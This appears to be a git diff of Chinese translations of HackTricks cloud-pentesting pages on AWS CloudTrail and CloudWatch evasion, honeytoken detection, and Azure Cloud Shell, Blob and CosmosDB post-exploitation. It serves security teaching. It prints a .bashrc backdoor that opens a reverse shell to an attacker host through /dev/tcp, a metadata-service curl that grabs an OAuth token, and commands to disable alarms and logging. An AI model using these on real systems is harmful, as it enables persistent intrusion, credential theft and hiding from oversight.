| ## 访问顾问 -AWS 访问顾问依赖于过去 400 天的 AWS **CloudTrail 日志来收集其洞察**。CloudTrail 捕获在 AWS 账户中进行的 AWS API 调用和相关事件的历史记录。访问顾问利用这些数据 **显示服务最后一次访问的时间**。通过分析 CloudTrail 日志,访问顾问可以确定 IAM 用户或角色访问了哪些 AWS 服务以及何时发生该访问。这帮助 AWS 管理员做出有关 **精炼权限** 的明智决策,因为他们可以识别长时间未被访问的服务,并可能根据实际使用模式减少过于宽泛的权限。 +AWS 访问顾问依赖于过去 400 天的 AWS **CloudTrail 日志来收集其洞察**。CloudTrail 捕获在 AWS 账户中进行的 AWS API 调用及相关事件的历史记录。访问顾问利用这些数据 **显示服务最后一次访问的时间**。通过分析 CloudTrail 日志,访问顾问可以确定 IAM 用户或角色访问了哪些 AWS 服务以及何时发生该访问。这帮助 AWS 管理员做出有关 **精炼权限** 的明智决策,因为他们可以识别长时间未被访问的服务,并可能根据实际使用模式减少过于宽泛的权限。 > [!TIP] -> 因此,访问顾问告知 **给予用户的不必要权限**,以便管理员可以删除它们 +> 因此,访问顾问告知 **用户被授予的不必要权限**,以便管理员可以删除它们
@@ -148,15 +148,15 @@ https://book.hacktricks.wiki/en/pentesting-web/formula-csv-doc-latex-ghostscript ### HoneyTokens **绕过** -Honeytokens 的创建是为了 **检测敏感信息的外泄**。在 AWS 的情况下,它们是 **使用受到监控的 AWS 密钥**,如果某个操作触发了该密钥的动作,那么就说明该密钥可能被盗。 +Honeytokens 的创建是为了 **检测敏感信息的外泄**。在 AWS 的情况下,它们是 **使用受到监控的 AWS 密钥**,如果某个操作触发了该密钥的动作,那么就必须有人窃取了该密钥。 -然而,像 [**Canarytokens**](https://canarytokens.org/generate)**、** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**、** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) 创建的 Honeytokens 要么使用可识别的账户名称,要么为所有客户使用相同的 AWS 账户 ID。因此,如果您可以在不让 Cloudtrail 创建任何日志的情况下获取账户名称和/或账户 ID,**您就可以知道该密钥是否为 Honeytoken**。 +然而,像 [**Canarytokens**](https://canarytokens.org/generate)**、** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**、** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) 这样的 Honeytokens 要么使用可识别的账户名称,要么为所有客户使用相同的 AWS 账户 ID。因此,如果您可以在不让 Cloudtrail 创建任何日志的情况下获取账户名称和/或账户 ID,**您就可以知道该密钥是否是 Honeytoken**。 [**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57) 有一些规则来检测密钥是否属于 [**Canarytokens**](https://canarytokens.org/generate)**、** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**、** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)**:** - 如果 **`canarytokens.org`** 出现在角色名称中,或者账户 ID **`534261010715`** 出现在错误消息中。 - 最近测试时,他们使用的账户是 **`717712589309`**,并且名称中仍然包含 **`canarytokens.com`** 字符串。 -- 如果 **`SpaceCrab`** 出现在角色名称的错误消息中 +- 如果 **`SpaceCrab`** 出现在错误消息中的角色名称中 - **SpaceSiren** 使用 **uuids** 生成用户名:`[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}` - 如果 **名称看起来像是随机生成的**,则很有可能是 HoneyToken。 @@ -191,20 +191,20 @@ print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56J #### 没有日志的 AWS 服务 -过去有一些 **AWS 服务不会将日志发送到 CloudTrail**(在这里找到 [列表](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html))。其中一些服务将 **响应** 一个 **错误**,其中包含 **密钥角色的 ARN**,如果有人未经授权(即 Honeytoken 密钥)尝试访问它。 +过去有一些 **AWS 服务不会将日志发送到 CloudTrail**(在这里找到 [列表](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html))。其中一些服务会 **响应** 一个 **错误**,其中包含 **密钥角色的 ARN**,如果有人未经授权(即 Honeytoken 密钥)尝试访问它。 这样,**攻击者可以在不触发任何日志的情况下获取密钥的 ARN**。在 ARN 中,攻击者可以看到 **AWS 账户 ID 和名称**,很容易知道 HoneyToken 的公司账户 ID 和名称,因此攻击者可以识别该令牌是否是 HoneyToken。 ![](<../../../../images/image (93).png>) > [!CAUTION] -> 请注意,所有已发现不创建 CloudTrail 日志的公共 API 现在都已修复,因此您可能需要自己寻找... +> 请注意,所有已发现不创建 CloudTrail 日志的公共 API 现在已修复,因此您可能需要自己寻找... > > 有关更多信息,请查看 [**原始研究**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/)。 ### 访问第三方基础设施 -某些 AWS 服务将 **生成一些基础设施**,例如 **数据库** 或 **Kubernetes** 集群(EKS)。用户 **直接与这些服务交互**(如 Kubernetes API) **不会使用 AWS API**,因此 CloudTrail 将无法看到此通信。 +某些 AWS 服务将 **生成一些基础设施**,例如 **数据库** 或 **Kubernetes** 集群(EKS)。用户 **直接与这些服务交互**(如 Kubernetes API) **不会使用 AWS API**,因此 CloudTrail 无法看到此通信。 因此,具有 EKS 访问权限的用户如果发现 EKS API 的 URL,可以在本地生成一个令牌,并 **直接与 API 服务交谈而不被 Cloudtrail 检测到**。 @@ -244,11 +244,11 @@ aws cloudtrail put-event-selectors --trail-name --event-selectors ' ```bash aws s3api put-bucket-lifecycle --bucket --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region ``` -### 修改桶配置 +### 修改存储桶配置 -- 删除 S3 桶 -- 更改桶策略以拒绝来自 CloudTrail 服务的任何写入 -- 向 S3 桶添加生命周期策略以删除对象 +- 删除 S3 存储桶 +- 更改存储桶策略以拒绝来自 CloudTrail 服务的任何写入 +- 向 S3 存储桶添加生命周期策略以删除对象 - 禁用用于加密 CloudTrail 日志的 kms 密钥 ### Cloudtrail 勒索软件 diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md index 134dd37e6..76e04431e 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md @@ -15,7 +15,7 @@ CloudWatch 日志事件的 **每行日志大小限制为 256KB**。\ - IAM 和 S3 中安全策略的更改 - 对 AWS 管理控制台的登录失败尝试 - 导致授权失败的 API 调用 -- 在 cloudwatch 中搜索的过滤器: [https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html) +- 在 CloudWatch 中搜索的过滤器: [https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html) ## 关键概念 @@ -37,9 +37,9 @@ CloudWatch 日志事件的 **每行日志大小限制为 256KB**。\ - **示例**:对于 EC2 实例,维度可能包括 InstanceId、InstanceType 和 AvailabilityZone。 -### 统计 +### 统计信息 -统计是对指标数据进行的数学计算,以总结其随时间的变化。常见的统计包括平均值、总和、最小值、最大值和样本计数。 +统计信息是对指标数据进行的数学计算,以便在一段时间内对其进行总结。常见的统计信息包括平均值、总和、最小值、最大值和样本计数。 - **示例**:计算一小时内的平均 CPU 利用率。 @@ -53,7 +53,7 @@ CloudWatch 日志事件的 **每行日志大小限制为 256KB**。\ ### 仪表板 -**CloudWatch 仪表板** 提供可自定义的 **AWS CloudWatch 指标视图**。可以创建和配置仪表板,以在单一视图中可视化数据并监控资源,结合来自各种 AWS 服务的不同指标。 +**CloudWatch 仪表板** 提供可自定义的 **AWS CloudWatch 指标视图**。可以创建和配置仪表板以可视化数据并在单一视图中监控资源,结合来自各种 AWS 服务的不同指标。 **关键特性**: @@ -68,7 +68,7 @@ CloudWatch 日志事件的 **每行日志大小限制为 256KB**。\ **指标流** 在 AWS CloudWatch 中使您能够近乎实时地持续流式传输 CloudWatch 指标到您选择的目标。这对于使用 AWS 之外的工具进行高级监控、分析和自定义仪表板特别有用。 -**指标数据** 在指标流中指的是正在流式传输的实际测量或数据点。这些数据点代表 AWS 资源的各种指标,如 CPU 利用率、内存使用等。 +**指标数据** 在指标流中指的是正在流式传输的实际测量或数据点。这些数据点代表各种指标,如 CPU 利用率、内存使用情况等,针对 AWS 资源。 **示例用例**: @@ -83,7 +83,7 @@ CloudWatch 日志事件的 **每行日志大小限制为 256KB**。\ - **阈值**:触发警报的值。 - **评估周期**:评估数据的周期数。 -- **触发警报的数据点**:触发警报所需的达到阈值的周期数。 +- **触发警报的数据点**:需要达到阈值的周期数以触发警报。 - **操作**:当警报状态被触发时发生的事情(例如,通过 SNS 通知)。 **示例用例**: @@ -92,7 +92,7 @@ CloudWatch 日志事件的 **每行日志大小限制为 256KB**。\ ### 异常检测器 -**异常检测器** 使用机器学习自动检测您的指标中的异常。您可以将异常检测应用于任何 CloudWatch 指标,以识别可能指示问题的正常模式的偏差。 +**异常检测器** 使用机器学习自动检测您的指标中的异常。您可以将异常检测应用于任何 CloudWatch 指标,以识别可能表明问题的正常模式的偏差。 **关键组件**: @@ -111,29 +111,29 @@ CloudWatch 日志事件的 **每行日志大小限制为 256KB**。\ **示例用例**: -- 监控 RDS 性能:启用一个针对 Amazon RDS 的托管洞察规则,监控关键性能指标,如 CPU 利用率、内存使用和磁盘 I/O。如果这些指标中的任何一个超过安全操作阈值,该规则可以触发警报或自动缓解措施。 +- 监控 RDS 性能:启用一个针对 Amazon RDS 的托管洞察规则,监控关键性能指标,如 CPU 利用率、内存使用情况和磁盘 I/O。如果这些指标中的任何一个超过安全操作阈值,该规则可以触发警报或自动缓解措施。 ### CloudWatch 日志 允许 **聚合和监控来自应用程序** 和系统的日志,来自 **AWS 服务**(包括 CloudTrail)和 **来自应用程序/系统**(**CloudWatch Agent** 可以安装在主机上)。日志可以 **无限期存储**(取决于日志组设置)并可以导出。 **元素**: - -| **日志组** | 一组 **共享相同保留、监控和访问控制设置的日志流** | +| 术语 | 定义 | | ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------- | +| **日志组** | 一组 **共享相同保留、监控和访问控制设置的日志流** | | **日志流** | 一系列 **共享相同来源的日志事件** | | **订阅过滤器** | 定义一个 **匹配特定日志组中事件的过滤模式**,将其发送到 Kinesis Data Firehose 流、Kinesis 流或 Lambda 函数 | ### CloudWatch 监控与事件 -CloudWatch **基本** 每 **5 分钟** 聚合数据(**详细** 每 **1 分钟** 聚合一次)。在聚合后,它 **检查警报的阈值**,以确定是否需要触发一个。\ -在这种情况下,CloudWatch 可以准备发送事件并执行一些自动操作(AWS lambda 函数、SNS 主题、SQS 队列、Kinesis 流)。 +CloudWatch **基本** 每 5 分钟聚合数据(**详细** 每 1 分钟聚合一次)。在聚合后,它 **检查警报的阈值**,以防需要触发一个。\ +在这种情况下,CloudWatch 可以准备发送事件并执行一些自动操作(AWS Lambda 函数、SNS 主题、SQS 队列、Kinesis 流)。 ### 代理安装 您可以在机器/容器内部安装代理,以自动将日志发送回 CloudWatch。 -- **创建** 一个 **角色** 并 **附加** 到具有允许 CloudWatch 从实例收集数据的权限的 **实例**,并与 AWS 系统管理器 SSM 交互(CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM) +- **创建** 一个 **角色** 并 **附加** 到 **实例**,赋予 CloudWatch 收集实例数据的权限,并与 AWS 系统管理器 SSM 交互(CloudWatchAgentAdminPolicy 和 AmazonEC2RoleforSSM) - **下载** 并 **安装** **代理** 到 EC2 实例上 ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip))。您可以从 EC2 内部下载,或使用 AWS 系统管理器自动安装,选择包 AWS-ConfigureAWSPackage - **配置** 并 **启动** CloudWatch Agent @@ -212,13 +212,13 @@ aws events describe-event-source --name aws events list-replays aws events list-api-destinations aws events list-event-buses ``` -## 后期利用 / 绕过 +## Post-Exploitation / Bypass ### **`cloudwatch:DeleteAlarms`,`cloudwatch:PutMetricAlarm` , `cloudwatch:PutCompositeAlarm`** -拥有这些权限的攻击者可能会严重削弱组织的监控和警报基础设施。通过删除现有警报,攻击者可以禁用通知管理员关键性能问题、安全漏洞或操作故障的重要警报。此外,通过创建或修改指标警报,攻击者还可以用虚假警报误导管理员或使合法警报失效,有效掩盖恶意活动并阻止对实际事件的及时响应。 +拥有这些权限的攻击者可能会严重削弱组织的监控和警报基础设施。通过删除现有警报,攻击者可以禁用通知管理员关键性能问题、安全漏洞或操作故障的重要警报。此外,通过创建或修改指标警报,攻击者还可以用虚假警报误导管理员或静音合法警报,有效掩盖恶意活动并阻止对实际事件的及时响应。 -此外,拥有 **`cloudwatch:PutCompositeAlarm`** 权限的攻击者将能够创建一个复合警报的循环或周期,其中复合警报 A 依赖于复合警报 B,而复合警报 B 也依赖于复合警报 A。在这种情况下,无法删除任何属于该循环的复合警报,因为总是还有一个依赖于您想要删除的警报的复合警报。 +此外,拥有 **`cloudwatch:PutCompositeAlarm`** 权限的攻击者将能够创建一个复合警报的循环或周期,其中复合警报 A 依赖于复合警报 B,而复合警报 B 也依赖于复合警报 A。在这种情况下,无法删除任何属于该循环的复合警报,因为总是还有一个复合警报依赖于您想要删除的警报。 ```bash aws cloudwatch put-metric-alarm --cli-input-json | --alarm-name --comparison-operator --evaluation-periods [--datapoints-to-alarm ] [--threshold ] [--alarm-description ] [--alarm-actions ] [--metric-name ] [--namespace ] [--statistic ] [--dimensions ] [--period ] aws cloudwatch delete-alarms --alarm-names @@ -226,8 +226,8 @@ aws cloudwatch put-composite-alarm --alarm-name --alarm-rule [-- ``` 以下示例展示了如何使指标警报失效: -- 此指标警报监控特定 EC2 实例的平均 CPU 利用率,每 300 秒评估一次指标,并需要 6 个评估周期(总共 30 分钟)。如果平均 CPU 利用率在这 6 个周期中至少有 4 个超过 60%,则警报将触发并向指定的 SNS 主题发送通知。 -- 通过将阈值修改为超过 99%,将周期设置为 10 秒,将评估周期设置为 8640(因为 8640 个 10 秒的周期等于 1 天),并将报警的数据点设置为 8640,CPU 利用率必须在整个 24 小时内每 10 秒超过 99% 才能触发警报。 +- 此指标警报监控特定 EC2 实例的平均 CPU 利用率,每 300 秒评估一次指标,并需要 6 个评估周期(总共 30 分钟)。如果平均 CPU 利用率在这 6 个周期中至少有 4 个周期超过 60%,则警报将触发并向指定的 SNS 主题发送通知。 +- 通过将阈值修改为超过 99%,将周期设置为 10 秒,将评估周期设置为 8640(因为 8640 个 10 秒的周期等于 1 天),并将数据点设置为警报也为 8640,CPU 利用率在整个 24 小时内每 10 秒都超过 99% 才能触发警报。 {{#tabs }} {{#tab name="Original Metric Alarm" }} @@ -279,7 +279,7 @@ aws cloudwatch put-composite-alarm --alarm-name --alarm-rule [-- {{#endtab }} {{#endtabs }} -**潜在影响**:缺乏对关键事件的通知,可能存在未被检测的问题,虚假警报,抑制真实警报,并可能错过对真实事件的检测。 +**潜在影响**:缺乏对关键事件的通知,可能未被检测到的问题,虚假警报,抑制真实警报,可能错过对真实事件的检测。 ### **`cloudwatch:DeleteAlarmActions`, `cloudwatch:EnableAlarmActions` , `cloudwatch:SetAlarmState`** @@ -287,17 +287,17 @@ aws cloudwatch put-composite-alarm --alarm-name --alarm-rule [-- 此外,拥有权限的攻击者可以操纵警报状态,能够创建虚假警报以分散和混淆管理员,或静音真实警报以掩盖正在进行的恶意活动或关键系统故障。 -- 如果您在复合警报上使用 **`SetAlarmState`**,则复合警报不保证返回其实际状态。只有在其子警报状态发生变化时,它才会返回其实际状态。如果您更新其配置,它也会被重新评估。 +- 如果您在复合警报上使用 **`SetAlarmState`**,则复合警报不保证返回其实际状态。只有在其子警报状态发生变化时,它才会返回到其实际状态。如果您更新其配置,它也会被重新评估。 ```bash aws cloudwatch disable-alarm-actions --alarm-names aws cloudwatch enable-alarm-actions --alarm-names aws cloudwatch set-alarm-state --alarm-name --state-value --state-reason [--state-reason-data ] ``` -**潜在影响**:缺乏对关键事件的通知,可能未被检测到的问题,错误警报,抑制真实警报,可能错过对真实事件的检测。 +**潜在影响**:缺乏对关键事件的通知,可能未被检测到的问题,虚假警报,抑制真实警报,可能错过对真实事件的检测。 ### **`cloudwatch:DeleteAnomalyDetector`, `cloudwatch:PutAnomalyDetector`** -攻击者将能够破坏检测和响应指标数据中异常模式或异常的能力。通过删除现有的异常检测器,攻击者可以禁用关键的警报机制;通过创建或修改它们,攻击者能够错误配置或制造误报,以分散或压倒监控。 +攻击者将能够破坏检测和响应指标数据中异常模式或异常的能力。通过删除现有的异常检测器,攻击者可以禁用关键的警报机制;通过创建或修改它们,攻击者能够错误配置或制造虚假警报,以分散或压倒监控。 ```bash aws cloudwatch delete-anomaly-detector [--cli-input-json | --namespace --metric-name --dimensions --stat ] aws cloudwatch put-anomaly-detector [--cli-input-json | --namespace --metric-name --dimensions --stat --configuration --metric-characteristics ] @@ -355,7 +355,7 @@ aws cloudwatch put-anomaly-detector [--cli-input-json | --namespace aws cloudwatch put-dashboard --dashboard-name --dashboard-body @@ -370,11 +370,11 @@ aws cloudwatch delete-insight-rules --rule-names aws cloudwatch put-insight-rule --rule-name --rule-definition [--rule-state ] aws cloudwatch put-managed-insight-rules --managed-rules ``` -**潜在影响**:难以检测和响应性能问题和异常,错误的信息决策,可能掩盖恶意活动或系统故障。 +**潜在影响**:难以检测和响应性能问题和异常,错误的决策以及可能掩盖恶意活动或系统故障。 ### **`cloudwatch:DisableInsightRules`, `cloudwatch:EnableInsightRules`** -通过禁用关键的洞察规则,攻击者可以有效地使组织对关键性能和安全指标失去警觉。相反,通过启用或配置误导性的规则,可能会生成虚假数据,制造噪音,或掩盖恶意活动。 +通过禁用关键的洞察规则,攻击者可以有效地使组织对关键性能和安全指标失去警觉。相反,通过启用或配置误导性规则,可能会生成虚假数据,制造噪音,或隐藏恶意活动。 ```bash aws cloudwatch disable-insight-rules --rule-names aws cloudwatch enable-insight-rules --rule-names @@ -385,7 +385,7 @@ aws cloudwatch enable-insight-rules --rule-names 拥有 **`cloudwatch:DeleteMetricStream`** 和 **`cloudwatch:PutMetricStream`** 权限的攻击者将能够创建和删除指标数据流,从而危害安全性、监控和数据完整性: -- **创建恶意流**:创建指标流以将敏感数据发送到未经授权的目的地。 +- **创建恶意流**:创建指标流,将敏感数据发送到未经授权的目的地。 - **资源操控**:创建具有过多数据的新指标流可能会产生大量噪音,导致错误警报,掩盖真实问题。 - **监控中断**:删除指标流,攻击者将中断监控数据的持续流动。这样,他们的恶意活动将有效隐藏。 diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md index 38d795084..08b9a4f03 100644 --- a/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md +++ b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md @@ -6,25 +6,17 @@ Azure Cloud Shell 提供命令行访问以管理 Azure 资源,具有持久存储和自动身份验证。攻击者可以通过在持久主目录中放置后门来利用这一点: -* **持久存储**:Azure Cloud Shell 的主目录挂载在 Azure 文件共享上,即使会话结束也保持不变。 -* **启动脚本**:像 .bashrc 这样的文件在每个会话开始时自动执行,允许在云 shell 启动时进行持久执行。 +* **持久存储**:Azure Cloud Shell 的主目录挂载在 Azure 文件共享上,即使会话结束后也保持完整。 +* **启动脚本**:像 .bashrc 这样的文件在每个会话开始时自动执行,从而在云 shell 启动时实现持久执行。 Example backdoor in .bashrc: - -{% code overflow="wrap" %} ```bash echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc ``` -{% endcode %} - 这个后门可以在用户完成云 shell 后的 5 分钟内执行命令。 此外,查询 Azure 的元数据服务以获取实例详细信息和令牌: -{% code overflow="wrap" %} ```bash curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s ``` -{% endcode %} - - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md index 337a72ff7..6336ed7c8 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -## 存储权限提升 +## Storage Privesc 有关存储的更多信息,请查看: @@ -10,7 +10,7 @@ ../az-services/az-storage.md {{#endref}} -### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read +### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read` 具有此权限的主体将能够**列出**容器内的 blob(文件)并**下载**可能包含**敏感信息**的文件。 ```bash @@ -24,7 +24,7 @@ az storage blob download \ --container-name \ -n file.txt --auth-mode login ``` -### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write +### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write` 具有此权限的主体将能够**在容器中写入和覆盖文件**,这可能使他造成一些损害甚至提升权限(例如,覆盖存储在 blob 中的某些代码): ```bash @@ -36,6 +36,6 @@ az storage blob upload \ ``` ### \*/delete -这将允许删除存储帐户中的对象,这可能会**中断某些服务**或使客户端**丢失有价值的信息**。 +这将允许删除存储帐户中的对象,这可能会**中断某些服务**或使客户端**丢失重要信息**。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md index d1f6eb354..08bc846ea 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md @@ -5,27 +5,21 @@ ## CosmosDB 后期利用 有关 SQL 数据库的更多信息,请查看: -{% content-ref url="../az-services/az-cosmosDB.md" %} -[az-cosmosDB.md](../az-services/az-cosmosDB.md) -{% endcontent-ref %} +{{#ref}} +../az-services/az-cosmosDB.md +{{#endref}} -### "Microsoft.DocumentDB/databaseAccounts/read" && "Microsoft.DocumentDB/databaseAccounts/write" +### `Microsoft.DocumentDB/databaseAccounts/read` && `Microsoft.DocumentDB/databaseAccounts/write` 拥有此权限,您可以创建或更新 Azure Cosmos DB 账户。这包括修改账户级别设置、添加或删除区域、改变一致性级别,以及启用或禁用多区域写入等功能。 - -{% code overflow="wrap" %} ```bash az cosmosdb update \ --name \ --resource-group \ --public-network-access ENABLED ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write" +### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write` 拥有此权限,您可以在 Azure Cosmos DB 帐户的 SQL 数据库中创建或修改容器(集合)。容器用于存储数据,对它们的更改可能会影响数据库的结构和访问模式。 - -{% code overflow="wrap" %} ```bash # Create az cosmosdb sql container create \ @@ -43,25 +37,17 @@ az cosmosdb sql container update \ --name \ --ttl 3600 ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/read" -拥有此权限,您可以在 Azure Cosmos DB 帐户中创建或修改 SQL 数据库。这允许管理数据库结构并向帐户添加新数据库。虽然此权限使数据库创建成为可能,但不当或未经授权的使用可能导致不必要的资源消耗、成本增加或操作效率低下。 - -{% code overflow="wrap" %} +### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/read` +拥有此权限,您可以在 Azure Cosmos DB 帐户中创建或修改 SQL 数据库。这允许管理数据库结构并向帐户添加新数据库。虽然此权限允许创建数据库,但不当或未经授权的使用可能导致不必要的资源消耗、成本增加或操作效率低下。 ```bash az cosmosdb sql database create \ --account-name \ --resource-group \ --name ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/failoverPriorityChange/action" +### `Microsoft.DocumentDB/databaseAccounts/failoverPriorityChange/action` 通过此权限,您可以更改 Azure Cosmos DB 数据库帐户的区域故障转移优先级。此操作确定在故障转移事件中,区域成为主区域的顺序。错误使用此权限可能会干扰数据库的高可用性或导致意外的操作影响。 - -{% code overflow="wrap" %} ```bash az cosmosdb failover-priority-change \ --name \ @@ -69,12 +55,8 @@ az cosmosdb failover-priority-change \ --failover-policies ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/regenerateKey/action" +### `Microsoft.DocumentDB/databaseAccounts/regenerateKey/action` 通过此权限,您可以为 Azure Cosmos DB 帐户重新生成主密钥或辅助密钥。这通常用于通过替换旧密钥来增强安全性,但可能会干扰依赖当前密钥的服务或应用程序的访问。 - -{% code overflow="wrap" %} ```bash az cosmosdb keys regenerate \ --name \ @@ -82,13 +64,9 @@ az cosmosdb keys regenerate \ --key-kind ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/read" +### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/read` 通过此权限,您可以在 Azure Cosmos DB 帐户的 SQL 数据库容器中创建或修改触发器。触发器允许您在响应操作时执行服务器端逻辑。 - -{% code overflow="wrap" %} ```bash az cosmosdb sql trigger create \ --account-name \ @@ -100,12 +78,8 @@ az cosmosdb sql trigger create \ --type Pre \ --operation All ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/read" +### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/read` 通过此权限,您可以在 Azure Cosmos DB 帐户的 SQL 数据库容器中创建或修改存储过程。Cosmos DB 中的存储过程是服务器端的 JavaScript 函数,允许您封装处理数据或直接在数据库中执行操作的逻辑。 - -{% code overflow="wrap" %} ```bash az cosmosdb sql stored-procedure create \ --account-name \ @@ -115,12 +89,8 @@ az cosmosdb sql stored-procedure create \ --name \ --body 'function sample() { return "Hello, Cosmos!"; }' ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/read" -通过此权限,您可以在 Azure Cosmos DB 帐户的 SQL 数据库容器中创建或修改触发器。触发器允许您在插入、更新或删除等操作时执行服务器端逻辑。 - -{% code overflow="wrap" %} +### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/read` +拥有此权限,您可以在 Azure Cosmos DB 帐户的 SQL 数据库容器中创建或修改触发器。触发器允许您在插入、更新或删除等操作发生时执行服务器端逻辑。 ```bash az cosmosdb sql trigger create \ --account-name \ @@ -132,12 +102,8 @@ az cosmosdb sql trigger create \ --type Pre \ --operation All ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/read" && "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/write" -通过此权限,您可以在 Azure Cosmos DB 帐户中的 MongoDB 数据库内创建或修改集合。集合用于存储文档并定义数据的结构和分区。 - -{% code overflow="wrap" %} +### `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/read` && `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/write` +拥有此权限,您可以在 Azure Cosmos DB 帐户中的 MongoDB 数据库内创建或修改集合。集合用于存储文档并定义数据的结构和分区。 ```bash az cosmosdb mongodb collection create \ --account-name \ @@ -145,24 +111,16 @@ az cosmosdb mongodb collection create \ --database-name \ --name ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/read" -拥有此权限,您可以在 Azure Cosmos DB 帐户中创建新的 MongoDB 数据库。这允许为存储和管理集合及文档提供新的数据库。 - -{% code overflow="wrap" %} +### `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/read` +拥有此权限,您可以在 Azure Cosmos DB 帐户中创建新的 MongoDB 数据库。这允许配置新的数据库以存储和管理集合和文档。 ```bash az cosmosdb mongodb database create \ --account-name \ --resource-group \ --name ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write" && 